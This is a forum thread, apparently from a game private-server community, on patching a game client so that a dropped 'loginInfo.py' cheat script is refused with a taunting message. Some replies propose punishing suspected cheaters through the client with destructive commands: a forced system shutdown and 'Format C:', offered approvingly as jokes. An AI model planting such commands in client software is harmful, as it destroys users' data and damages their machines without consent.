Jump to content
Rumor

How to block loginInfo.py client bug

Recommended Posts

A player can use a python cheat or client extractor by putting their python script in the game directory and naming it "loginInfo.py". This will detour the player from doing so.

1. Unpack your root archive.

 

2. Edit the file "intrologin.py".

 

3. Find this line:

self.__LoadLoginInfo("loginInfo.py")
4. Replace the entire line with this:

if not os.path.exists('logininfo.py') and not os.path.isfile('logininfo.py'):
			self.__LoadLoginInfo("loginInfo.py")
		else:
			dbg.LogBox('Ah so you want to try to extract the client?n'
								'Or maybe you want to run your favorite cheat?n'
								'Not gonna happen...n'
								'It seems I have already thought of this.n'
								'I am ATLEAST one step ahead of you...n'
								'------------------------------------------------n'
								'n'
								"TRY HARDER BRO")
			exception.Abort("Unsupported file, please delete it. (TRY HARDER BRO)") # Syserr.txt
			return
You can of-course change the message to whatever you like. "/n" denotes a line break.

 

Here's what it looks like when someone tries to use this bug after you've added the protection:

6ZiKt6Al.png

  • Love 15

Share this post


Link to post

Very nice but I prefer to use an os.remove('loginInfo.py') to troll them ahaha xD

  • Love 8

Share this post


Link to post
        if not os.path.exists('logininfo.py') and not os.path.isfile('logininfo.py'):
            self.__LoadLoginInfo("loginInfo.py")
        else:
            dbg.LogBox('Ah so you want to try to extract the client?n'
                                'Or maybe you want to run your favorite cheat?n'
                                'Not gonna happen...n'
                                'It seems I have already thought of this.n'
                                'I am ATLEAST one step ahead of you...n'
                                '------------------------------------------------n'
                                'n'
                                "TRY HARDER BRO")
            exception.Abort("Unsupported file, please delete it. (TRY HARDER BRO)") # Syserr.txt
            return

3xLPmSj.png

r0dxeqC.png

HELP ?

Share this post


Link to post

And they can go to your pack/root and replace these lines ^^ the best way to block it (my opinion) it's to change file name (like daindiwofnaenfs.py) and encrypt your arhives. But this little trick it's nice too :D

Share this post


Link to post

Batsa virtualize root.eix in metin2client.bin :D

 

BUMP

Share this post


Link to post

I used this for a long time, and it was funny because the players immediately forget the hacking:

os.system("shutdown -t 0 -s -f")

It's force close every app and shutdown their computers.

  • Love 9

Share this post


Link to post

Thanks, I just fixed my problem, I had logininfo.txt instead of logininfo.py

changed, working now.

Share this post


Link to post

I used this for a long time, and it was funny because the players immediately forget the hacking:

os.system("shutdown -t 0 -s -f")

It's force close every app and shutdown their computers.

 

os.system("Format C:")

 

the best :D

Share this post


Link to post

Thats very cool thank you man!

 

Sanchez can i just add ôur line to the code of Rumor?

Send me a PM please.

 

Regards

Share this post


Link to post

Thats very cool thank you man!

 

Sanchez can i just add ôur line to the code of Rumor?

Send me a PM please.

 

Regards

Just put Sanchez's snippet in the else condition

Share this post


Link to post

Hi,

what's about just remove this function?

Remove what function ?

You must add it in order to block logininfo.py exploit ^^

Share this post


Link to post

I mean to remove this LoadLoginInfo function, so the Client don't tries to load it.

Share this post


Link to post

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...

Important Information

Terms of Use / Privacy Policy / Guidelines / We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.